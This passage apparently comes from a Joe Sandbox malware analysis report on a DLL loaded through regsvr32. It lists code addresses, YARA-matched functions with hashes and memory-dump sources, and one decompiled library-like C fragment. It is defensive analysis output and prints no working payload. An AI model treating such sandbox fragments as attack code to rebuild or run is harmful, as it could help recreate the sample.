                                                                                                        0x180049440
                                                                                                        0x180049445
                                                                                                        0x18004944a
                                                                                                        0x18004944f
                                                                                                        0x180049454
                                                                                                        0x180049459
                                                                                                        0x18004945e
                                                                                                        0x180049463
                                                                                                        0x180049465
                                                                                                        0x18004946e
                                                                                                        0x180049473
                                                                                                        0x180049475
                                                                                                        0x18004947f
                                                                                                        0x180049481
                                                                                                        0x180049485
                                                                                                        0x18004948d
                                                                                                        0x180049492
                                                                                                        0x180049497
                                                                                                        0x18004949c
                                                                                                        0x1800494a1
                                                                                                        0x1800494a5
                                                                                                        0x1800494a9
                                                                                                        0x1800494ae
                                                                                                        0x1800494b3
                                                                                                        0x1800494b5
                                                                                                        0x1800494bc
                                                                                                        0x1800494c8
                                                                                                        0x1800494cd
                                                                                                        0x1800494d2
                                                                                                        0x1800494d6
                                                                                                        0x1800494df
                                                                                                        0x1800494e5
                                                                                                        0x1800494ea
                                                                                                        0x1800494ee
                                                                                                        0x1800494f1
                                                                                                        0x1800494f6
                                                                                                        0x180049503
                                                                                                        0x18004950c
                                                                                                        0x18004950e
                                                                                                        0x180049513
                                                                                                        0x180049518
                                                                                                        0x18004951d
                                                                                                        0x180049524
                                                                                                        0x18004952c
                                                                                                        0x18004952e
                                                                                                        0x180049539
                                                                                                        0x18004953e
                                                                                                        0x18004954f
                                                                                                        0x180049553
                                                                                                        0x18004955b
                                                                                                        0x18004955d
                                                                                                        0x180049564
                                                                                                        0x180049577
                                                                                                        0x18004957b
                                                                                                        0x18004957d
                                                                                                        0x180049587
                                                                                                        0x18004958d
                                                                                                        0x180049592
                                                                                                        0x1800495a0
                                                                                                        0x1800495a6
                                                                                                        0x1800495a8
                                                                                                        0x1800495ad
                                                                                                        0x1800495af
                                                                                                        0x1800495b3
                                                                                                        0x1800495c2
                                                                                                        0x1800495c8
                                                                                                        0x1800495ca
                                                                                                        0x1800495cd
                                                                                                        0x1800495cf
                                                                                                        0x1800495d3
                                                                                                        0x1800495d7
                                                                                                        0x1800495dd
                                                                                                        0x1800495e0
                                                                                                        0x1800495ee
                                                                                                        0x1800495f9
                                                                                                        0x1800495fd
                                                                                                        0x180049605
                                                                                                        0x180049607
                                                                                                        0x18004960d
                                                                                                        0x180049613
                                                                                                        0x180049617
                                                                                                        0x18004961a
                                                                                                        0x18004961f
                                                                                                        0x18004962c
                                                                                                        0x180049631
                                                                                                        0x180049640
                                                                                                        0x180049648
                                                                                                        0x18004964a
                                                                                                        0x18004964f
                                                                                                        0x180049653
                                                                                                        0x18004965e
                                                                                                        0x180049664
                                                                                                        0x180049668
                                                                                                        0x18004966d
                                                                                                        0x18004966f
                                                                                                        0x180049674
                                                                                                        0x180049676
                                                                                                        0x180049680
                                                                                                        0x180049687
                                                                                                        0x180049690
                                                                                                        0x180049692
                                                                                                        0x180049698
                                                                                                        0x18004969e
                                                                                                        0x1800496a8
                                                                                                        0x1800496ae
                                                                                                        0x1800496b6
                                                                                                        0x1800496bb
                                                                                                        0x1800496c0
                                                                                                        0x1800496cb
                                                                                                        0x1800496dd
                                                                                                        0x1800496f1
                                                                                                        0x1800496f3
                                                                                                        0x1800496f6
                                                                                                        0x180049704
                                                                                                        0x18004970a
                                                                                                        0x18004970c
                                                                                                        0x18004970e
                                                                                                        0x180049710
                                                                                                        0x180049713
                                                                                                        0x180049715
                                                                                                        0x180049717
                                                                                                        0x180049721
                                                                                                        0x180049728
                                                                                                        0x18004972f
                                                                                                        0x180049736
                                                                                                        0x180049738
                                                                                                        0x18004973e
                                                                                                        0x180049742
                                                                                                        0x18004974c
                                                                                                        0x18004974e
                                                                                                        0x180049753
                                                                                                        0x180049755
                                                                                                        0x180049760
                                                                                                        0x180049766
                                                                                                        0x18004976a
                                                                                                        0x18004976c
                                                                                                        0x18004976f
                                                                                                        0x180049778
                                                                                                        0x18004977c
                                                                                                        0x180049783
                                                                                                        0x180049788
                                                                                                        0x18004978d
                                                                                                        0x180049792
                                                                                                        0x180049794
                                                                                                        0x180049799
                                                                                                        0x18004979b
                                                                                                        0x1800497a5
                                                                                                        0x1800497ac
                                                                                                        0x1800497b5
                                                                                                        0x1800497b7
                                                                                                        0x1800497bd
                                                                                                        0x1800497eb

                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: $
                                                                                                        • API String ID: 0-227171996
                                                                                                        • Opcode ID: 155e1d4bc4be5ead1184150be270e3d2028fcb92b98dde371b24aff7d7576ea7
                                                                                                        • Instruction ID: d5765718a1f11874e9837157747dad349c9695165a3042d83c7e66d9cdf1205d
                                                                                                        • Opcode Fuzzy Hash: 155e1d4bc4be5ead1184150be270e3d2028fcb92b98dde371b24aff7d7576ea7
                                                                                                        • Instruction Fuzzy Hash: 95E1C876116E4885EBAA8E65C0D07AD33A0F74DBCCF268225EE0617794DF35CA4AC744
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02423E4C Relevance: 2.8, Strings: 2, Instructions: 345COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: gI6$wrY
                                                                                                        • API String ID: 0-2379456883
                                                                                                        • Opcode ID: 081eb8f8fb027e740979f5912eab94cbad461a380c9e601e0ceca6f80fb6f2be
                                                                                                        • Instruction ID: 6d4c4df8fb50867a9c3ae65d37a85a7d60eb0ac0fd4b6b89332fd60b7361750a
                                                                                                        • Opcode Fuzzy Hash: 081eb8f8fb027e740979f5912eab94cbad461a380c9e601e0ceca6f80fb6f2be
                                                                                                        • Instruction Fuzzy Hash: 37F1E1B150560ACFDB58CF28C0899DE7BE0FF58308F41452AFC499B260D774DA68DB89
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0240E93C Relevance: 2.8, Strings: 2, Instructions: 309COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: 3nEa$R;T
                                                                                                        • API String ID: 0-1592967439
                                                                                                        • Opcode ID: fb3cea2e5bd7c0bb895cac6d9105d49b6b10a493b1a40acf8f446ae8bb4ff068
                                                                                                        • Instruction ID: b121cc62fb8fb6a11649c56ba80a6c4fbe75f5acfbdad3237affb962a840aaa4
                                                                                                        • Opcode Fuzzy Hash: fb3cea2e5bd7c0bb895cac6d9105d49b6b10a493b1a40acf8f446ae8bb4ff068
                                                                                                        • Instruction Fuzzy Hash: 5CE1F1B1606709CBDB58CF28C58A59D3BE5FF44308F50812EFC1A8A2A1D778E969CB45
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 024168B0 Relevance: 2.8, Strings: 2, Instructions: 272COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: 90H>$za*G
                                                                                                        • API String ID: 0-1455889577
                                                                                                        • Opcode ID: 56cd1ca17b7db685f4b7995dbaaff019a5d4fabac313ceb86a7299718a9b6016
                                                                                                        • Instruction ID: 002966c3e2cee778e73451018de28ba11aefc68daa5f065fc8de7ec475170e35
                                                                                                        • Opcode Fuzzy Hash: 56cd1ca17b7db685f4b7995dbaaff019a5d4fabac313ceb86a7299718a9b6016
                                                                                                        • Instruction Fuzzy Hash: 4FF147B5902349CFDB88DF28C2DA59D7BE1FF59308F404129FD0A9A2A0D774E925CB49
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02420490 Relevance: 2.8, Strings: 2, Instructions: 267COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: .B$1i
                                                                                                        • API String ID: 0-3203132012
                                                                                                        • Opcode ID: a6d8ab6df8285790e6dfd4f426591a1b73451637066b6323ce4d9677d78018e6
                                                                                                        • Instruction ID: 80479ef6adf2162ea6c1229eb9d1e1d965c7719cf09945fa69ce269264e9cd5b
                                                                                                        • Opcode Fuzzy Hash: a6d8ab6df8285790e6dfd4f426591a1b73451637066b6323ce4d9677d78018e6
                                                                                                        • Instruction Fuzzy Hash: 19C10671900658DFDB58CF69D8895DDBBF0FB58308F01822EE84AE7264CB789949CF45
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02420ED4 Relevance: 2.7, Strings: 2, Instructions: 249COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: #X$&xk<
                                                                                                        • API String ID: 0-3172636500
                                                                                                        • Opcode ID: 74aa7c8cedd4fe91834aa1096bab2d902853c827ea55006686437e35ad3d07c3
                                                                                                        • Instruction ID: bda6a542eeb045346736a044d1edc2f908e6834cfb65080b71fb9e14d1b38a08
                                                                                                        • Opcode Fuzzy Hash: 74aa7c8cedd4fe91834aa1096bab2d902853c827ea55006686437e35ad3d07c3
                                                                                                        • Instruction Fuzzy Hash: 51D1D6706047C88FDBBECF24C8996DA7BA9FB45708F50021DE9CA8E294DBB45745CB02
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02423840 Relevance: 2.7, Strings: 2, Instructions: 224COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: K#vi$d+
                                                                                                        • API String ID: 0-133950525
                                                                                                        • Opcode ID: 44307838714335efaaf97fb1995138ffb08cf546e173c4007ca180539b935765
                                                                                                        • Instruction ID: 8855f9e001f155ff2c9755a0e73fc11a4f5385b8ee91431545eb1cbbcabeae22
                                                                                                        • Opcode Fuzzy Hash: 44307838714335efaaf97fb1995138ffb08cf546e173c4007ca180539b935765
                                                                                                        • Instruction Fuzzy Hash: FBB1F5709047588FDFA8DFA8C8896DDBBB1FB48304F60821DD85AEB2A1DB745949CF40
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02415958 Relevance: 2.7, Strings: 2, Instructions: 223COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: [&$~Dcp
                                                                                                        • API String ID: 0-2556308055
                                                                                                        • Opcode ID: 70a681887c79f6db1be1d3120f2dad45c416e2f655b99efc3f2652e4bb458876
                                                                                                        • Instruction ID: 242de49ed341c5326102b44eaf5f809453f9fc1809df5aa694cd478210ba7cf1
                                                                                                        • Opcode Fuzzy Hash: 70a681887c79f6db1be1d3120f2dad45c416e2f655b99efc3f2652e4bb458876
                                                                                                        • Instruction Fuzzy Hash: 76C1ED7150478CEBDB7EDF24CC8A6DA3BA9FB44704F508219E82E8E290DB765745CB41
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 024288F8 Relevance: 2.7, Strings: 2, Instructions: 190COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: LuG${|+[
                                                                                                        • API String ID: 0-3896543211
                                                                                                        • Opcode ID: fde95f8e9d0be3f3338bb3dd672b6b3ff4901c736f389ac2aa01be81abe5025c
                                                                                                        • Instruction ID: 623a002952402c553e6b8d1832756b75ceabb51842ac45b60462b780005c72d9
                                                                                                        • Opcode Fuzzy Hash: fde95f8e9d0be3f3338bb3dd672b6b3ff4901c736f389ac2aa01be81abe5025c
                                                                                                        • Instruction Fuzzy Hash: 4FA167B550170DDFDB98CF68D58A59D3BA9FF44308F008129FC1E9A2A4D3B4E919CB16
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02421918 Relevance: 2.7, Strings: 2, Instructions: 178COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: *s2y$=vn
                                                                                                        • API String ID: 0-604381509
                                                                                                        • Opcode ID: 8c01c61abab64a452f7891919164bb6c475c91999586673096905b87bc896b28
                                                                                                        • Instruction ID: ddd019893f4f02f11c8a2d49246cb68f4dbe925a0c06d073ec2064aa9c815f41
                                                                                                        • Opcode Fuzzy Hash: 8c01c61abab64a452f7891919164bb6c475c91999586673096905b87bc896b28
                                                                                                        • Instruction Fuzzy Hash: DD91177110468CABDBB9CF29C89A2DA3BA1FB48304F90811ADD0E9E351DF745B48DB40
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02421594 Relevance: 2.7, Strings: 2, Instructions: 153COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: q6)$1UA
                                                                                                        • API String ID: 0-996259322
                                                                                                        • Opcode ID: ec8b101651cc0e7d47911714810161081942b78277b44e7e6dcb11f0f43bbfb6
                                                                                                        • Instruction ID: 92b11cdf8cad29cba067d84c7e89444bd6b5c6574f698a4e58c814e30ac9e149
                                                                                                        • Opcode Fuzzy Hash: ec8b101651cc0e7d47911714810161081942b78277b44e7e6dcb11f0f43bbfb6
                                                                                                        • Instruction Fuzzy Hash: 2081A67154878CCBEBB9CF24CC896DA7BB1FB48304F904219D84E8E294DB7A5786CB41
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 000000018005C18C Relevance: 2.6, Strings: 2, Instructions: 144COMMONLIBRARYCODECrypto
                                                                                                        Download Yara Rule
                                                                                                        C-Code - Quality: 47%
                                                                                                        			E0000000118005C18C(void* __ebp, void* __rax, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* _a8, void* _a16, void* _a24, void* _a32, long long _a64) {
				void* _t17;
				long long _t32;
				void* _t42;
				void* _t45;
				void* _t46;

				_t46 = _t42;
				 *((long long*)(_t46 + 8)) = __rbx;
				 *((long long*)(_t46 + 0x10)) = __rbp;
				 *((long long*)(_t46 + 0x18)) = __rsi;
				 *((long long*)(_t46 + 0x20)) = __rdi;
				r13b = r9b;
				_t16 =  >  ? __ebp : 0;
				_t17 = ( >  ? __ebp : 0) + 9;
				if (__rdx - __rax > 0) goto 0x8005c214;
				_t32 = _a64;
				 *((long long*)(_t46 - 0x20)) = _t32;
				r9d = 0;
				 *(_t46 - 0x28) =  *(_t46 - 0x28) & 0x00000000;
				r8d = 0;
				 *((char*)(_t32 + 0x30)) = 1;
				 *((intOrPtr*)(_t32 + 0x2c)) = 0x22;
				E00000001180025880(__rax, __rbx, _t32, __rdx, __rsi, r8d, _t45);
				return 0x22;
			}








                                                                                                        0x18005c18c
                                                                                                        0x18005c18f
                                                                                                        0x18005c193
                                                                                                        0x18005c197
                                                                                                        0x18005c19b
                                                                                                        0x18005c1b1
                                                                                                        0x18005c1ba
                                                                                                        0x18005c1bd
                                                                                                        0x18005c1c5
                                                                                                        0x18005c1c7
                                                                                                        0x18005c1d4
                                                                                                        0x18005c1d8
                                                                                                        0x18005c1db
                                                                                                        0x18005c1e0
                                                                                                        0x18005c1e5
                                                                                                        0x18005c1e9
                                                                                                        0x18005c1ee
                                                                                                        0x18005c213

                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255704642.00000001800DB000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_180000000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: e+000$gfff
                                                                                                        • API String ID: 0-3030954782
                                                                                                        • Opcode ID: 3ca4df5e4e62360ab09c07467ed93e28d3cf0361df281257f9ec9e63c36020ee
                                                                                                        • Instruction ID: 2f2ed3d5b9b81925a2da05a70df1c6ddd2f75e7a22ca214111a9e99642755f94
                                                                                                        • Opcode Fuzzy Hash: 3ca4df5e4e62360ab09c07467ed93e28d3cf0361df281257f9ec9e63c36020ee
                                                                                                        • Instruction Fuzzy Hash: 905168327147C88AE7A68E35D840B997B91F358BD4F48C221EBA44BBD5CF3AC649C701
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0240FB04 Relevance: 2.6, Strings: 2, Instructions: 143COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: !:$4_
                                                                                                        • API String ID: 0-3668949186
                                                                                                        • Opcode ID: c1414d9e66dc00b3918be973f32e4ae1c12edcd65d25999478d3bb2727aaab4f
                                                                                                        • Instruction ID: be6b7fa9b1997376e5741190f8c44a22db5f5fdda7c79f15582fb62adeaf9018
                                                                                                        • Opcode Fuzzy Hash: c1414d9e66dc00b3918be973f32e4ae1c12edcd65d25999478d3bb2727aaab4f
                                                                                                        • Instruction Fuzzy Hash: 6F61187050034D8BDF48CF64C88A0DE3FB1FB58398F215229E84AA6290D778D694CFC9
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 024031C4 Relevance: 2.6, Strings: 2, Instructions: 136COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: )4$j|
                                                                                                        • API String ID: 0-2355070360
                                                                                                        • Opcode ID: 94eecea33497037cf1ca5ad125e27017879e4b480cd0d6b6525cc2b0145a064f
                                                                                                        • Instruction ID: 36ad98a9d0bab3bde136c27cd1add637e9a29af5f14ea32d5b99a9678dcff061
                                                                                                        • Opcode Fuzzy Hash: 94eecea33497037cf1ca5ad125e27017879e4b480cd0d6b6525cc2b0145a064f
                                                                                                        • Instruction Fuzzy Hash: 81517D71158B858BE758DF68C48965BFBE0FB84354F10096EE482C77A0D7F4D885CB82
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 024154EC Relevance: 2.6, Strings: 2, Instructions: 128COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: ,$<C
                                                                                                        • API String ID: 0-1757562995
                                                                                                        • Opcode ID: c15a56685b11cb5a6a6df16086491760e99ecb55db6cda535f3684bc1d949e7c
                                                                                                        • Instruction ID: 1bf414843cfd2ff5f4823226eb61c7cffa2b082d263693d831543d067d77c700
                                                                                                        • Opcode Fuzzy Hash: c15a56685b11cb5a6a6df16086491760e99ecb55db6cda535f3684bc1d949e7c
                                                                                                        • Instruction Fuzzy Hash: 4B51DD7051C7848BD7B8DF28D48679ABBE0FB98714F104A2EE5CD93252DB70A8548B86
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 024027B8 Relevance: 2.6, Strings: 2, Instructions: 125COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: &8$-=
                                                                                                        • API String ID: 0-4198106421
                                                                                                        • Opcode ID: 43b3c49b7f7d73c7c57ae8632f13b492f409cd09fcea750496dcd309e0fa8f78
                                                                                                        • Instruction ID: c59a641a0ad0edf6681848389ba2df99915e3f858629d545ed11fa1d75111984
                                                                                                        • Opcode Fuzzy Hash: 43b3c49b7f7d73c7c57ae8632f13b492f409cd09fcea750496dcd309e0fa8f78
                                                                                                        • Instruction Fuzzy Hash: 87619FB190434E8FDB48CF68C4865CE7FB0FB68398F204519E856A6260D3B4D6A4CFD4
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02415714 Relevance: 2.6, Strings: 2, Instructions: 121COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: D&$a|
                                                                                                        • API String ID: 0-4095307963
                                                                                                        • Opcode ID: 9efb368eaeeef8e13937dccb394625c17dc133e8a3274fa1121f3c50aec6d9aa
                                                                                                        • Instruction ID: 9100c1006c887ac3256a5a8a19494602b3384244c70f29f22d0701918a21afaa
                                                                                                        • Opcode Fuzzy Hash: 9efb368eaeeef8e13937dccb394625c17dc133e8a3274fa1121f3c50aec6d9aa
                                                                                                        • Instruction Fuzzy Hash: F651EF7050C7448BD768DF28C58955FBBF1FBC6708F504A2EE68A862A0D77AD849CB43
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02404B50 Relevance: 2.6, Strings: 2, Instructions: 119COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: _A$kN
                                                                                                        • API String ID: 0-2091390261
                                                                                                        • Opcode ID: f27502b9e2138f8654979c505b73a89cb195e07ff317851fe9c5ec8974fc3574
                                                                                                        • Instruction ID: 87e4c02a7f45f618e0b46c95a1149c4837f0a130c20cc4b9f08f3bb9c406b072
                                                                                                        • Opcode Fuzzy Hash: f27502b9e2138f8654979c505b73a89cb195e07ff317851fe9c5ec8974fc3574
                                                                                                        • Instruction Fuzzy Hash: 8751BDB15087858FE3A8CF69C48941ABBF1FB96348F100A1DF6968A260D7B5D885CB46
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02417824 Relevance: 2.6, Strings: 2, Instructions: 114COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: UI$^D
                                                                                                        • API String ID: 0-3120610174
                                                                                                        • Opcode ID: fab29e0e62c7164152e2f7f6e2cd6c36ab28bb0891753d3ab40f81ddcfe59c08
                                                                                                        • Instruction ID: c2f5d606b846697b56097d0aa63d33e111018b4d745641479034cea4afc1f541
                                                                                                        • Opcode Fuzzy Hash: fab29e0e62c7164152e2f7f6e2cd6c36ab28bb0891753d3ab40f81ddcfe59c08
                                                                                                        • Instruction Fuzzy Hash: D551E5B190078A8FDF48CF68C88A5DE7BB0FB18358F104A1DEC66A6250D3B49664CF95
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02401744 Relevance: 2.6, Strings: 2, Instructions: 112COMMON
                                                                                                        Download Yara Rule
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: 1V$gO
                                                                                                        • API String ID: 0-4103379174
                                                                                                        • Opcode ID: 1997ecec5299463681479645e0e3d93143b4f1384f5f2677fe955b9bbfc970fc
                                                                                                        • Instruction ID: f2dc32c28de23e3524f31cabd2e95e47a42e0b2063bc8848312574b69d6b5c36
                                                                                                        • Opcode Fuzzy Hash: 1997ecec5299463681479645e0e3d93143b4f1384f5f2677fe955b9bbfc970fc
